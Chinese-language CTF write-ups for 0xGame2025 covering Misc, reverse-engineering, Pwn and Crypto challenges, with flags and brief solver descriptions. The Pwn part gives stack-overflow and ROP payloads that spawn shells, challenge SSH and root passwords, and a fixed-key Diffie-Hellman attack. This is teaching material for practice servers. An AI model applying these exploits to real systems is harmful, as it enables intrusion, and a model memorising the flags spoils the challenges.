    2. 仅对 1.img(禁区分区)展开,读取 syslog/auth.log/dpkg.log
    3. 用正则抓取 flag 模式;断言只出现一次;输出最终 flag。
  • 运行:

    cd solution
    uv run python solution.py
    
  • 运行示例输出:

    0xGame{WoW_y0u_fouNd_1t?_114514}
    

误区与排除(记录尝试过程)

  • 尝试将 181 个编号作模 26/27、base36 或差分映射,再用四元文法/分词打分解替换密码文本,会得到若干“似是而非”的英文碎句; 但这些碎片跨分区拼接,违背“唯一来源”的叙事,因此不作为答案依据。
  • 分块 5 为零填充中穿插 ASCII 的诈骗层,出现 30 条假旗;其结构非文件系统,也非真实目标。

最终答案

  • Flag:0xGame{WoW_y0u_fouNd_1t?_114514}
  • 依据:仅在禁区分区 Do_not_enter(Last Mounted: /mnt/real_target)中出现一次,满足“唯一正确”的题意约束。

Zootopia 解题报告

题目信息摘录

  • 题目:Zootopia(Misc / Week1 / 简单)
  • 附件:Zootopia.zipZootopia.png
  • 线索:疯狂动物城图片中藏有一段加密信息。

尝试过程

  1. 将附件解压至 task 目录,确认只有一张 PNG 图片。
  2. binwalkexiftool 等常规检测未发现额外文件或文本 chunk,考虑 LSB 隐写。
  3. 使用 zsteg 验证,b1,rgb,lsb,xy 渠道出现可读文本 0xGame{...}
  4. 为复现过程,编写脚本逐像素提取 RGB 各通道最低位,按 8 位组装字符,遇到 \0 结束。

推导细节

  • RGB 每个通道提供 1 bit 信息,按顺序拼接后可重构原始字节流。
  • 图像尺寸较大,足以隐藏多行文本;实际隐藏串以 ASCII 编码结束于零字节。

自动化脚本

  • 位置:solution/solution.py

  • 依赖:pillow

  • 用法:

    cd solution
    uv run python solution.py
    
  • 输出:

    0xGame{W1_Need_t0_t@k3_a_break}
    

结果

  • 最终 flag:0xGame{W1_Need_t0_t@k3_a_break}

公众号原稿 解题报告

题目信息摘录

  • 题目:公众号原稿(Misc / Week1 / 简单)
  • 附件:公众号.docx
  • 目标:找到 Yolo 隐藏在原稿中的 gift flag。

尝试过程

  1. 将附件放入 task 目录,使用 uv init 创建独立 Python 环境。
  2. unzip -l 查看 docx 内部结构,发现非常规条目 docProps/gift.xml
  3. 直接 unzip -p 公众号.docx docProps/gift.xml 得到完整 flag。
  4. 为便于复现,编写 solution/solution.py 使用 zipfile 模块解压目标文件并输出内容。

推导与验证

  • Office OpenXML 文件本质是 zip 压缩包,只要定位到隐藏的 gift.xml 即可。

  • 运行脚本:

    cd solution
    uv run python solution.py
    
  • 输出:

    0xGame{omg!Y0u_f0und_m3!_C0ngr4tul4t10ns!}
    

结果

  • 最终 flag:0xGame{omg!Y0u_f0und_m3!_C0ngr4tul4t10ns!}

ez_Shell 解题报告

题目信息摘录

  • 比赛:0xGame2025
  • 题目:ez_Shell(Misc / Week1 / 简单)
  • 提示:通过 SSH 进入题目容器,依次提取 whoamipwd、当前路径下的文件夹名以及两个 flag 文件内容,再按题面格式拼装。

尝试记录

  1. 建立标准目录结构,在 task/attachment.txt 保存题面,并用 uv init 初始化脚本环境。
  2. 根据赛方公布的服务端 nc1.ctfplus.cn:47957,编写简短 paramiko 脚本验证连接,确认初始工作目录 /home/hacker 下只有隐藏目录 .mysecret,其中包含 flag1.txt
  3. 自动化脚本初版直接 cat flag1.txt 导致报错,改用 find 自动定位 .mysecret/flag1.txt 后成功读取第一段。
  4. 尝试以 root/Y0u_@re_root 直接 SSH 登录失败,推测禁用了 root 远程登录。改为在 hacker 会话内执行 su - root -c 'cat /root/flag2.txt',并通过 stdin 传入密码获取第二段。
  5. su 输出进行清洗,去除 Password: 提示后,脚本能够一次性生成完整 flag。

解题思路概述

  • 第一步:以普通用户 hacker/h@cker_it 登录,采集下列信息:
    • whoami
    • pwd
    • 当前路径下的子目录名(排除 ...,实际为 .mysecret
    • .mysecret/flag1.txt 的内容
  • 第二步:在同一会话中使用 su 切换 root,读取 /root/flag2.txt
  • 第三步:将五项结果用 '_' 连接并包裹进 0xGame{...}

自动化脚本

  • 位置:solution/solution.py

  • 依赖:paramiko

  • 用法:

    cd solution
    uv run python solution.py nc1.ctfplus.cn --port 47957
    
  • 输出示例:

    0xGame{hacker_/home/hacker_.mysecret_It_is_funny_right?_You_hacked_me!!!}
    

结果

  • 最终提交 flag:0xGame{hacker_/home/hacker_.mysecret_It_is_funny_right?_You_hacked_me!!!}
  • 关键命令及路径均已在脚本中自动化处理,后续只需替换目标主机即可复用。

Sign_in 解题报告

题目信息摘录

  • 比赛:0xGame2025
  • 题目:Sign_in(Misc / Week1 / 简单)
  • 附件内容:一段 Base64 编码的字符串
MGhRa3dve0dvdm0wd29fZDBfMGhRNHczXzJ5MjVfQHhuX3JAbXVfUHliX3BlWH0=

尝试过程

  1. task/attachment.txt 记录原始字符串后,使用 uv init 初始化题目标准的 Python 环境,避免直接调用系统 Python。
  2. 先猜测这是基础的 Base64 编码。通过 uv run python 解码得到中间结果:0hQkwo{Govm0wo_d0_0hQ4w3_2y25_@xn_r@mu_Pyb_peX}
  3. 观察中间结果,括号形式符合 flag 结构,但字母整体被系统性平移。例如 0hQkwo 形似 0xGame。对照 ASCII 发现大小写字母均被循环右移了 $10$ 位。
  4. 进一步检查数字,同样遵循 $c_i = (p_i + 10) \bmod 10$ 的模式。符号字符未变。
  5. 编写脚本对所有字母、数字执行逆向 Caesar 位移(左移 $10$),得到最终 flag。

推导细节

  • Base64 还原得到的明文可视为经过 Caesar 变换的密文 $C$。
  • 对字母部分,存在关系: $$C = (P + k) \bmod 26,\quad k = 10$$ 因此恢复原文需要计算: $$P = (C - k) \bmod 26$$
  • 对数字同理,只是模数改为 $10$: $$C = (P + k) \bmod 10 \implies P = (C - k) \bmod 10$$
  • 其他符号保持不变。

关键脚本

核心逻辑位于 solution/solution.py

  • 先 Base64 解码。
  • 之后调用 caesar_shift,对字母和数字执行模运算逆变换。
  • 输出最终 flag。

运行:

cd solution
uv run python solution.py

得到终极答案:

0xGame{Welc0me_t0_0xG4m3_2o25_@nd_h@ck_For_fuN}

总结

题目考察了对基础编码与经典移位密码的识别。一步步拆解编码层次、验证偏移量即可快速复原 flag。


RE

BaseUpx

  • 脱壳 UPX 后,主函数读取输入并执行 base64_encode,与常量 MHhHYW1le1cwd191XzRyM183aDNfRzBkXzBmX3VweCZiNHMzNjRfRDNzMWdufQ 比较。
  • 只需补齐 == 还原 base64,即得 0xGame{W0w_u_4r3_7h3_G0d_0f_upx&b4s364_D3s1gn}
  • 详细推导与脚本见 BaseUpx/

DyDebug

  • 题目实现自定义 16 轮 Feistel:F 函数为 F(R,K)=(R*K)⊕ROL(R,17);轮密钥通过线性同余生成。
  • .rdata 中的密文分块解密,得到 0xGame{91f2c64e-057d-4191-8868-9a8c0847b2c0}

EasyXor

  • 循环: ((flag[i] ^ key[i mod 16]) + i) == table[i]
  • 重排公式恢复 flag 0xGame{6c74d39f-723f-42e7-9d7a-18e9508a655b}

SignIn

  • 程序无校验,flag 硬编码在 .rdata
  • strings 直接读取到 0xGame{G00d$!gn1n_&_N0w_5t4rt_y0ur_R3V3R5E}

SignIn2

  • decrypt 实际上是 ROT94/47 风格的表循环减法,枚举 key 即可。
  • 唯一合法前缀 0xGame 对应 key=16,解出 0xGame{We1c0m3_2_xiaoxinxie_qq_1060449509}

ZZZ

  • sscanf("%8x%8x%8x%8x") 读取四个 32 位数,再验证 4 个模 $2^{32}$ 方程。
  • 借助 z3-solver 搜索满足约束的 4 组解,匹配题面给出的 SHA-256 仅有一组:
    • $A=0x99482FD0,\ B=0xB9544087,\ C=0x0E990F7A,\ D=0xA0514982$。
  • 最终 flag 0xGame{99482fd0b95440870e990f7aa0514982}

脚本使用

  • 若需直接输出 flag:运行对应题目目录下的 solution/solution.py
  • ZZZ 题依赖 z3-solver:已通过 uv pip install z3-solver 安装,如在其他环境运行请提前安装。

Pwn

0xGame ROP2 Write-up

目标

  • 在不包含 sh//bin/sh 字符串的情况下,依旧通过 ROP 调用 system 实现 RCE。

静态分析要点

  • No PIE、NX 开、无 Canary。
  • 导入:setbufsystemprintfread
  • main
    1. init 关闭缓冲;
    2. 打印一行提示与“luck_number”;
    3. system("echo Start your attack")
    4. read(0, buf, 0x100) 读入到 buf(大小 0x30),存在溢出。
  • 可用 gadget:pop rdi ; ret @ 0x40119e,以及 leave ; ret @ 0x40124b
  • 关键观察:在 .text0x401200 处有一条 movabs rax, 0x9173003024,其立即数的最低三字节即 0x24 0x30 0x00,也就是 "$0\x00"!因此内存地址 0x401202 起正好是一段以 0 结尾的 "$0" 字符串。

利用思路(“神奇参数”)

system(cmd) 实际会执行 /bin/sh -c cmd。若令 cmd = "$0",那么在子 shell 中 $0 的值为 "sh",因此实际等价执行 sh,从而获得交互 shell。这就是题面所说“除了 sh 之外的神奇参数”。

ROP 链

偏移 $= 0x30 + 8 = 0x38$,构造:

  • pop rdi ; ret (0x40119e)
  • "$0\x00" 地址 (0x401202)
  • system@plt (0x401080)

数学化: $$ \text{ret} \to (\text{pop rdi;ret}) \Rightarrow rdi \leftarrow \text{addr}(“$0”),\ \text{ret} \to system. $$ 得到 shell 后,直接 cat flag

脚本

solution/solution.py,已内置短超时与缓冲读取,默认静默输出 flag,可开启 debug=True 观察交互。

运行

cd "[0xGame]ROP2"
## 填好脚本中的 HOST/PORT 后
uv run python solution/solution.py

结论

即使二进制中没有 sh//bin/sh 常量,也可以借助代码段中的 "$0\x00" 作为 system 的参数来获得 shell。这是 ROP 控参思路在实战中的一个小技巧。


0xGame ROP1 Write-up

目标

  • 通过 ROP 控制 system 的参数,实现远程命令执行(RCE)。

静态分析要点

  • No PIE、NX 开、无 Canary,典型易 ROP 场景。
  • 符号:gadget@0x401176help@0x401183main@0x40119dsystem@plt@0x401070
  • main 调用 read(0, buf, 0x100)buf 大小仅 0x20,可溢出覆盖返回地址。
  • .rodata 含有字符串 echo Maybe you need this: sh,其中 "sh" 子串位于 0x40201e
  • gadget 汇编:
    • push rbp; mov rbp, rsp; pop rdi; ret,效果等同 pop rdi; ret(用于布置 system 的第 1 参)。

因此,偏移 $= 0x20 + 8 = 0x28$;链路:gadget -> "sh" -> system@plt

ROP 链表达

设返回地址覆写为序列 $[G, A, S]$,其中

  • $G=\text{gadget}$(设置 $rdi=A$),
  • $A=\text{addr}(\text{“sh”})$,
  • $S=\text{system@plt}$。 执行流程:

$$ \text{ret} \to G \Rightarrow rdi \leftarrow A,\ \text{ret} \to S \Rightarrow system(A). $$

Exploit 脚本

solution/solution.py

  • 偏移与地址均按上面确定;
  • 连接后直接发 payload,然后 cat flag
  • 内置短超时,防止长时间卡顿。

运行

cd "[0xGame]ROP1"
## 填好脚本中的 HOST/PORT 后
uv run python solution/solution.py

结果

成功弹 shell 并 cat flag,完成 RCE。


0xGame nc1.ctfplus.cn:49641 基础栈溢出 Write-up

  • 难度:简单
  • 类型:Pwn / 栈溢出(ret2func)
  • 远程:nc1.ctfplus.cn 49641

题目与附件

当前目录附带可执行文件 task/stack-overflow(64 位 ELF,非 PIE)。我们只需直接打远程即可,不需要本地调试也能完成;但为了稳妥,我先做了快速静态分析确定思路与偏移。

快速静态分析

  • checksec 结果:No PIE、NX 启用、Canary 关闭,ELF 含 CET 标记(IBT/SHSTK),但远端通常不强制 Shadow Stack。
  • 符号表(节选):
    • backdoor@0x4011d6
    • whhhat@0x4011f7
    • main@0x40122a
  • 关键代码(反汇编要点):
    • main 在栈上开辟 $0x30$ 字节缓冲区,并调用 read(0, buf, 0x100),存在明显溢出。
    • whhhat@0x4011f7
      1. 打印一行(puts,实测为 good work!);
      2. 构造参数后直接 execve("/bin/sh", NULL, NULL),相当于帮我们起一个交互 shell(继承同一套标准 I/O)。
  • 偏移计算:覆盖返回地址需要 $0x30$(局部缓冲)$+$ $8$(保存的 RBP)$=$ $0x38$ 字节。

因此最小利用为 ret2func:把返回地址改为 whhhat0x4011F7),无需 ROP 链也无需泄露地址。

利用思路

  • 连接后服务端会输出提示行 Just say something... 并阻塞读入;
  • 构造 payload = b"A"*0x38 + p64(0x4011F7) 触发返回至 whhhat
  • 进入 whhhat 后先打印 good work!execve("/bin/sh"),这会直接把当前进程镜像替换为 /bin/sh,我们获得交互;
  • 发送 cat flag 即可拿到 flag。

注意:由于 I/O 交错,good work! 或命令输出可能与提示行交织。脚本里采用短超时、多次读取并在缓冲中查找 0xGame{,确保稳健拿 flag。

缓冲区覆写

若返回地址位于栈帧布局: $$ \underbrace{\text{buf}[0..0x2F]}{0x30\ \text{bytes}};\Vert;\underbrace{\text{saved\ RBP}}{8\ \text{bytes}};\Vert;\underbrace{\text{RET}}_{8\ \text{bytes}} $$ 则向 read 写入长度 $L\ge 0x38+8$ 的数据,令 RET=\text{addr}(\text{whhhat})$,返回即跳转至whhhat执行。因为目标函数本身完成了寄存器参数设置和execve`,我们不必搭建 ROP。

自动化脚本(Pwntools)

路径:solution/solution.py

  • 默认短超时与缓冲读取,防止“等了 10 分钟没有结果”的卡死;
  • 提供 debug 开关,便于观察远程交互细节;
  • 仅依赖 pwntools,通过 uv 管理环境。

运行:

cd "[0xGame]nc1-49641"
uv run python solution/solution.py

输出示例:

0xGame{W0w_y0u_kn0w_h0w_t0_h1j@ck_3x3cut10n_fl0w}

远程调试建议

  • 使用 solve(debug=True) 观察:
    • banner;
    • 发送 payload 后的即时输出(good work!/换行);
    • 执行 cat flag 后的流式数据;
  • 若未见 flag:
    • 重试连接,或适当增大 overall_timeout
    • 改为先 pwd && ls -la 确认 flag 是否在当前目录(实测在根目录 /)。

结论

本题为经典 ret2func 基础练习:找到可调用的“后门”函数 whhhat,通过溢出直接将返回地址劫持过去,即可一把到 shell 并读取 flag。无需泄露地址、无需复杂 ROP,是非常适合入门的栈溢出题。


0xGame nc1.ctfplus.cn:14164 数学连问 Write-up

题意概述

远程服务在连接后会连续抛出 1000 道四则题目(仅含 $+$、$-$、$x$ 三种运算)。每答对一题反馈 Good work! 并立刻给出下一题;全部答完后提示 Congratulations on completing the challenge,此时再输入 cat flag 即可获得最终 flag:

0xGame{7h3_m4573r_0f_m47h!!!}

探测与信息收集

  1. 基础探测nc 连上 nc1.ctfplus.cn 14164,立即收到 “Are you good at math?”、“Kore wa shiren da!” 和首道题。例如:733 - 400 = ?
  2. 观察反馈:随意答题若正确会回 Good work! 并刷新题目。错误或超时会断开,需重新过题。
  3. 运算模式归纳:通过脚本重复连接并正则抽取表达式,得到运算符集合为 ${+, -, x}$。题目格式固定为 $$ A\ \text{op}\ B = ? $$ 其中 $A,B\in \mathbb{Z}$,范围约在 $[0, 1000)$,乘法题积可达 $O(10^6)$。
  4. 终局行为:成功解完 1000 题后出现祝贺语,没有直接给 flag;进一步发送 cat flag(或任意能读取文件的指令)即可得到 flag,说明后端实际上直接暴露了 shell。

数学与实现思路

对任意题目,记 $A,B\in\mathbb{Z}$,运算符 $\circ\in{+, -, \times}$,目标即计算 $$ \text{ans} = \begin{cases} A + B, & \circ = +,\ A - B, & \circ = -,\ A \times B, & \circ = \times. \end{cases} $$ 乘法题数量明显最多(约占 $2/3$),若单轮耗时 $t$ 秒,全部完成需要 $1000t$ 秒。故必须自动化避免人工输入。实现关键点:

  • 使用 正则表达式 (-?\d+)\s*([+\-x])\s*(-?\d+) 捕获 $A$、运算符、$B$;
  • 按运算符分支求值;
  • 连续调用 sendline 回传答案,循环直到检测到祝贺语;
  • 收到祝贺语后发送 cat flag,再读取包含 0xGame{ 的行并返回。

自动化脚本

源码:solution/solution.py

  • 依赖:pwntools
  • 工具链:uv 创建虚拟环境并安装依赖
  • 主要函数说明:
    • evaluate(expr: str) -> int:解析题目并返回计算结果;
    • solve(debug: bool = False) -> str:完成 1000 道题并执行 cat flag

复现步骤

cd "[0xGame]nc1-14164"
uv run python solution/solution.py

首轮运行会自动在当前目录创建 .venv 并安装 pwntools。脚本会输出最终 flag。

过程记录

  • 早期手工连线确认题目结构与反馈文字。
  • 编写快速正则脚本统计运算符,确认仅含 $+$、$-$、$x$。
  • 使用 pwntools.remote 重复答题 1000 次,首次仅拿到祝贺语,随后推测服务开放了 shell,尝试发送 cat flag 成功得到 flag。
  • 最终脚本运行时间约 65~70 秒,稳定通过。

结论

这是一个典型的“连问”脚本题,核心在于:

  1. 快速解析并计算基础算术;
  2. 处理大量交互而不丢包;
  3. 识别终局提示并进一步执行命令拿到 flag。

题虽标注为 Pwn,但本质上是简单的交互自动化练习,难点在耐心与脚本正确性。


0xGame nc1.ctfplus.cn:14099 Write-up

题目复现环境

  • 目标地址:nc1.ctfplus.cn
  • 端口:14099
  • 官方提示:无附件,直连服务即可。
  • 本地复现命令:uv run python solution/solution.py

信息收集与推理过程

  1. 建立初始连接:先使用 nc 发送任意字符串;服务端回显 /bin/sh: 1: <cmd>: not found,表明后台直接把我们的输入喂给了一个 /bin/sh 子进程。
  2. 枚举文件系统:输入 ls 得到根目录内容,出现 flag 文件,推测 flag 即保存在此处。
  3. 验证权限假设:继续执行 cat flag,无任何额外限制,直接返回字符串 0xGame{test_your_nc_first}。这说明服务端对子命令没有额外过滤,可以直接读取目标文件。

上述过程可以抽象成一次简单的命令注入模型。设服务端执行逻辑为 $$ \text{output} = \text{sh}(\text{user“+“cmd}) $$ 只要我们提供的 cmd 在 shell 中合法,该服务就会执行并返回结果。由于没有对敏感命令做黑名单拦截,直接读取 flag 即可。

Exploit 步骤

  • 连接:nc nc1.ctfplus.cn 14099
  • 获取文件列表:ls
  • 读取 flag:cat flag

自动化脚本

源码位于 solution/solution.py,核心逻辑:

  1. 使用 socket.create_connection 建立 TCP 连接。
  2. 发送命令 cat flag\n
  3. 读取单个数据包并解码为字符串。

理论上 flag 长度有限(这里为 28 字符),一次 recv(4096) 足够覆盖全部输出;若服务存在延迟,可在脚本中添加循环读取直到换行结束。

运行方法

cd "[0xGame]nc1-14099"
uv run python solution/solution.py

第一次执行 uv run 会自动在当前目录创建 .venv 并下载兼容的 Python 解释器。

输出结果

0xGame{test_your_nc_first}

总结

该题本质是确认远程服务直接执行我们输入的命令。在没有额外黑名单或沙箱限制的情况下,最直接的策略就是列目录并 cat flag。虽然题目被归类为 Pwn,但实现上等价于裸命令执行。若面对更严苛的环境,可考虑:

  • 检测是否存在命令过滤并构造绕过 payload;
  • 通过环境变量或内置工具转储 flag;
  • 使用半交互脚本自动化方便批量验证。

在当前场景下,最优方案就是直接读取 flag,简单高效。


Crypto

Prime-Modulus-RSA

题目分析

  • 服务端生成一个 2025 bit 的素数 $n$,而非传统 RSA 的复合数。
  • 由于 $n$ 为素数,$\varphi(n) = n - 1$,可以直接求解私钥指数。
  • 明文构造为 flag || random 共 253 字节,随后按大端转换为整数 $m$。
  • 密文以 little-endian 形式输出为 254 字节十六进制串。
  • 题目还包含 sha256(XXXX + suffix) 的 PoW,不影响核心解法。

推导

  1. 公开参数:$n, e, c_{\text{hex}}$。
  2. 先把密文转换回整数:$c = \text{int.from_bytes}(\text{bytes.fromhex}(c_{\text{hex}}), \text{little})$。
  3. 私钥指数 $d \equiv e^{-1} \pmod{n-1}$。
  4. 明文整数 $m \equiv c^d \bmod n$。
  5. 将 $m$ 转回字节串,截取 0xGame{...} 段即为 flag。

尝试过程

  • 针对 PoW,可先离线编写暴力脚本求前缀,之后自动化读取参数。
  • 本地模拟验证:随机给定 flag,运行题面脚本得密文,再用解题脚本成功还原。
  • 需要注意 little-endian:如果直接把密文字符串看作大端,会得到错误结果。

解题脚本

  • solution/solution.py 提供完整流程:读取 $n, e, c_{\text{hex}}$,解密并搜索 flag。
  • 结合 PoW solver 可实现端到端自动化。

Flag

  • 在远程 nc1.ctfplus.cn 47036 获取到的密文解密得到 0xGame{d4cf5685-acf2-43c3-806d-10c86934be91}

Mixed-Encoding

题目分析

  • flag 被拆成四段:
    1. flag[0:25] 使用 Base64。
    2. flag[25:50] 转为十六进制字符串。
    3. flag[50:75] 经过自定义 awaqaq 映射:把字节串当作大端整数,用三进制表示,再把余数 $0,1,2$ 映射为 a,w,q
    4. flag[75:100] 视作 little-endian 整数后求七次幂。
  • flag 原始编码为 gb2312,并被随机填充到 100 字节。

逆向思路

  1. Base64 和十六进制直接逆变换即可得到前 50 字节。
  2. awaqaq
    • 遍历密文从低位开始,按三进制回推整数。
    • 将大整数用 $\text{to_bytes}(25, ‘big’)$ 还原为原始 25 字节。
  3. 对于七次幂部分,先计算整数七次整根:
    • 对大整数 $C$,寻找 $r$ 使得 $r^7 = C$。
    • 使用二分/牛顿法求整根,验证 $r^7$ 恰好等于 $C$。
    • 将 $r$ 按 little-endian 解码回长度 25 的字节串。
  4. 拼接四段,再截断到 } 为止,即 flag。

尝试记录

  • 最初直接 gb2312 解码失败,排查发现随机填充落在 } 之后,引起非法字节。
  • 在脚本中改为先截断到第一个 },再进行解码,问题解决。
  • 验证 len(flag) = 100,与题面约束一致。

解题脚本

  • solution/solution.py 将四段解码流程整合,并带有整数七次根函数,执行后直接输出旗帜。

Flag

  • 0xGame{欢迎来到0xGame2025,现在你已经学会Crypto的基本知识了,快来试试更难的挑战吧!}

Vigenere-Nonlinear

题目分析

  • 字母表同样是 94 个可打印字符。
  • 加密规则改为 $c_i = \text{alphabet}[((p_i + k_j) \times p_i) \bmod 94]$,引入非线性项,导致直接逆向不唯一。
  • flag 结构限定:以 0xGame{ 开头,以 } 结尾,中间全部为小写字母。

思路推导

  1. 对于每个位置,列举所有满足公式的 $p_i$。
  2. 前缀、后缀约束用于立即剪枝:
    • 位置 $0\ldots6$ 必须匹配 0xGame{
    • 最后一位必须是 }
    • 中间部分仅允许 a\ldots z
  3. 仍存在歧义时,使用英语频率打分函数挑选最自然的字符串。

尝试过程

  • 先写脚本枚举 $ {x \mid ((x + b)x \bmod 94) = t}$,发现部分位置有 2~4 个候选。
  • 应用 flag 结构约束后候选数显著下降,仅剩 8 条可能。
  • 进一步采用常见字母频率评分,excellent 获得最高得分,且能重加密回原密文,验证无误。

解题脚本

  • solution/solution.py 完整实现上述枚举与评分逻辑,输出唯一的最佳候选。

Flag

  • 0xGame{excellent}

Diffie-Hellman-Backdoor

题目分析

  • 服务端执行一次 Diffie-Hellman 密钥协商:随机选取素数 $p$、生成元 $g$,以及 Alice 的私钥 $a$。
  • 用户需提交 Bob 的公钥 $B$,随后服务端用 $s = B^a \bmod p$ 派生共享密钥,再通过 $\text{AES-ECB}$ 加密 flag。
  • 题目禁止 $B = A$,但未限制其他取值。

核心漏洞

  • 选择 $B = 1$ 时,共享密钥 $s = 1^a \equiv 1 \pmod p$,与 $a$、$p$、$g$ 无关。
  • 因此密钥恒定:$k = \text{SHA256}(\text{long_to_bytes}(1))$。
  • 得到密文后,使用该固定密钥即可直接解密。

数学推导

  • Diffie-Hellman 协商:$A = g^a \bmod p$、$B = g^b \bmod p$、$s = g^{ab} \bmod p$。
  • 当攻击者伪造 $B = 1$ 时,相当于 $b = 0$,故 $s = g^{a \cdot 0} = 1$。
  • 由于服务端只检查 $B \neq A$,仍会接受该输入。

实际利用流程

  1. 连接到题目服务,读取参数 $p, g, A$。
  2. 提交 1 作为 Bob 的公钥。
  3. 读取加密后的 flag(十六进制)。
  4. 计算 $k = \text{SHA256}(1)$,用 AES-ECB 解密并 unpad

尝试记录

  • 本地模拟时自定义 secret.flag,验证提交 1 后可成功解密得到原 flag。
  • 真实环境仅需替换输入的密文即可。

解题脚本

  • solution/solution.py 会从标准输入读取密文十六进制串,内部固定密钥后输出明文。
  • 若直接与远端交互,可借助 pwntools/telnet 先拿到密文,再喂给脚本解密。

Flag

  • 远端 nc1.ctfplus.cn 29844 返回的密文解密得到 0xGame{70276d88-2972-4bbc-9bcf-429e1f17540a}

Vigenere-Classic

题目分析

  • 明文字母表为 digits + ascii_letters + punctuation,共 10 + 52 + 32 = 94 个字符。
  • 使用固定密钥 Welcome-2025-0xGame 做经典维吉尼亚加密:$c_i = \text{alphabet}[(p_i + k_j) \bmod 94]$。
  • 密文已给定,可直接按公式逆向。

推导与解法

  • 对每个字符,偏移量 $\text{bias} = \text{alphabet.index}(k_j)$。
  • 解密时:$p_i = \text{alphabet}[(c_i - \text{bias}) \bmod 94]$。
  • 密钥循环使用,恢复明文即 flag。

尝试记录

  1. 先确认密钥与字母表长度,手动算出 94。
  2. 编写脚本逐字符逆向,首字母就恢复出 0,符合 CTF flag 风格。
  3. 验证完整结果为 0xGame{...},与期待一致。

解题脚本

  • solution/solution.py 实现上述解密流程,直接输出 flag。

Flag

  • 0xGame{you_learned_vigenere_cipher_2df4b1c2e3}

RSA-FactorDB

题目分析

  • 服务端生成两个 256 bit 素数 $p, q$,构造 $n = p \times q$ 和公共指数 $e = 65537$,使用 RSA 加密 flag。
  • 脚本把 $n$、$c$ 直接打印出来,因此是典型的 RSA 解密题。
  • 两个素数都不大(512 bit 模数),可直接在 FactorDB 上查到分解结果。

解决思路与推导

  1. 记 $ \phi(n) = (p-1)(q-1)$。
  2. 解密指数为 $d \equiv e^{-1} \pmod{\phi(n)}$,可用扩展欧几里得算法或 Crypto.Util.number.inverse 计算。
  3. 明文整数 $m \equiv c^d \pmod{n}$。
  4. 使用 long_to_bytes(m) 还原字节串。

尝试过程

  • 首先将题目中的 $n$ 粘贴到 FactorDB,立即得到素因数 $p$、$q$。
  • 使用 Sage/Python 验证 $p \times q = n$,并计算 $\phi(n)$、$d$。
  • 解密后得到明文字节串,转换为 ASCII 即 flag。

解题脚本

  • solution/solution.py,直接写死题面给出的 $n, c, p, q$,执行即可复现。

Flag

  • 0xGame{F4ct0rDB_1s_usefu1_r19ht?}